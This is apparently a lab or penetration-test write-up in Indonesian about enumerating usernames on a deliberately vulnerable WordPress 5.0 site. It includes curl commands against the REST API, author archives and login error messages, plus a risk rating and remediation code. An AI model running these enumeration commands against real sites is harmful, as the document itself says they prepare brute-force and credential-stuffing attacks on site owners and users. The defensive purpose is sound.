WordPress - User Enumeration
Objective
Melakukan User Enumeration pada situs WordPress 5.0 di wp-vuln.vuln.cybersecurity.or.id untuk mendapaftar username pengguna yang terdaftar. Informasi ini dapat digunakan sebagai langkah awal serangan brute-force atau credential stuffing.
Reconnaissance
1. Identifikasi Platform
Buka target:
http://wp-vuln.vuln.cybersecurity.or.id
Beberapa indikator WordPress:
/wp-login.php- halaman login/wp-admin/- dashboard admin/wp-content/- direktori assets
Verifikasi versi WordPress:
curl -s "http://wp-vuln.vuln.cybersecurity.or.id/readme.html" | grep "Version"
Hasil:
Version 5.0
2. Cek /wp-json/wp/v2/users (REST API)
WordPress 5.0 memiliki REST API yang secara default mengekspos data user:
curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-json/wp/v2/users"
Hasil:
[
{
"id": 1,
"name": "Admin",
"slug": "admin",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/admin/"
},
{
"id": 2,
"name": "Editor",
"slug": "editors123",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/editors123/"
},
{
"id": 3,
"name": "author",
"slug": "author",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/author/"
},
{
"id": 4,
"name": "contributor",
"slug": "contributor",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/contributor/"
}
]
3. Cek /wp-json/wp/v2/users?per_page=100
Untuk memastikan tidak ada user yang terlewat:
curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-json/wp/v2/users?per_page=100"
Hasil: Sama seperti di atas - total 4 user.
4. Metode Alternatif: Author Archive
Coba akses /author/{username}/ untuk setiap user yang
ditemukan:
curl -s -o /dev/null -w "%{http_code}" "http://wp-vuln.vuln.cybersecurity.or.id/author/admin/"
Hasil: HTTP 200 - user valid.
curl -s -o /dev/null -w "%{http_code}" "http://wp-vuln.vuln.cybersecurity.or.id/author/tidakada/"
Hasil: HTTP 404 - user tidak valid.
5. Metode Alternatif: /?author=N
Cek parameter author:
for i in $(seq 1 10); do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://wp-vuln.vuln.cybersecurity.or.id/?author=$i")
echo "author=$i → $code"
done
Hasil:
author=1 → 301 (redirect to /author/admin/)
author=2 → 301 (redirect to /author/editors123/)
author=3 → 301 (redirect to /author/author/)
author=4 → 301 (redirect to /author/contributor/)
author=5 → 404
author=6 → 404
author=7 → 404
author=8 → 404
author=9 → 404
author=10 → 404
Exploitation
Daftar Username Valid
Dari hasil enumerasi, didapatkan username berikut:
| ID | Username | Role (dari nama) |
|---|---|---|
| 1 | admin |
Administrator |
| 2 | editors123 |
Editor |
| 3 | author |
Author |
| 4 | contributor |
Contributor |
2. Verifikasi Login Page
Coba akses halaman login untuk mengonfirmasi username valid:
curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-login.php"
Halaman login WordPress standar muncul.
Uji apakah WordPress memberikan pesan berbeda untuk username valid vs tidak valid:
# Username valid
curl -s -d "log=admin&pwd=wrongpass" "http://wp-vuln.vuln.cybersecurity.or.id/wp-login.php" | grep -oP '(?<=<div id="login_error">).*?(?=</div>)'
# Username tidak valid
curl -s -d "log=tidakada&pwd=wrongpass" "http://wp-vuln.vuln.cybersecurity.or.id/wp-login.php" | grep -oP '(?<=<div id="login_error">).*?(?=</div>)'
Hasil untuk username valid:
Error: The password you entered for the username admin is incorrect.
Hasil untuk username tidak valid:
Error: Invalid username.
Perbedaan pesan error ini memvalidasi bahwa username
admin benar-benar terdaftar.
Evidence
Output Curl REST API
$ curl -s "http://wp-vuln.vuln.cybersecurity.or.id/wp-json/wp/v2/users" | python3 -m json.tool
[
{
"id": 1,
"name": "Admin",
"slug": "admin",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/admin/"
},
{
"id": 2,
"name": "Editor",
"slug": "editors123",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/editors123/"
},
{
"id": 3,
"name": "author",
"slug": "author",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/author/"
},
{
"id": 4,
"name": "contributor",
"slug": "contributor",
"link": "http://wp-vuln.vuln.cybersecurity.or.id/author/contributor/"
}
]
Author Enumeration via ?author=N
$ curl -I -s "http://wp-vuln.vuln.cybersecurity.or.id/?author=1" | grep Location
Location: http://wp-vuln.vuln.cybersecurity.or.id/author/admin/
️ Risk Assessment
| Faktor | Nilai |
|---|---|
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Base Score | 5.3 (Medium) |
| Attack Vector | Network (N) |
| Attack Complexity | Low (L) |
| Privileges Required | None (N) |
| User Interaction | None (N) |
| Impact | Low (L) pada Confidentiality |
| OWASP Mapping | A01:2021 - Broken Access Control |
Dampak Bisnis
- Memungkinkan serangan brute-force terarah pada username yang valid
- Kombinasi dengan password umum bisa menghasilkan akses tidak sah
- Informasi username memudahkan social engineering dan phishing
- Eksposur struktur organisasi tim website
️ Remediation
1. Nonaktifkan REST API User Endpoint (via functions.php)
Tambahkan kode berikut ke functions.php tema aktif:
// Nonaktifkan REST API untuk user yang tidak login
add_filter('rest_endpoints', function($endpoints) {
if (!is_user_logged_in()) {
if (isset($endpoints['/wp/v2/users'])) {
unset($endpoints['/wp/v2/users']);
}
}
return $endpoints;
});
2. Plugin Keamanan
Gunakan plugin seperti Wordfence, Sucuri, atau iThemes Security:
- Wordfence: Firewall + blocking enumerasi
- iThemes Security: Nonaktifkan author archive, ubah login URL
3. Nonaktifkan Author Archive Redirect
// functions.php - Redirect author archive ke homepage
add_action('template_redirect', function() {
if (is_author()) {
wp_redirect(home_url(), 301);
exit;
}
});
4. Uniform Error Messages di Login
// functions.php - Samakan pesan error
add_filter('login_errors', function() {
return 'Username atau password salah.';
});
5. Aturan .htaccess
# Blokir akses ke REST API user endpoint
RewriteEngine On
RewriteCond %{QUERY_STRING} ^/wp/v2/users [NC]
RewriteRule ^wp-json/ - [F,L]
# Blokir enumerasi author
RewriteCond %{QUERY_STRING} author=\d+ [NC]
RewriteRule ^ - [F,L]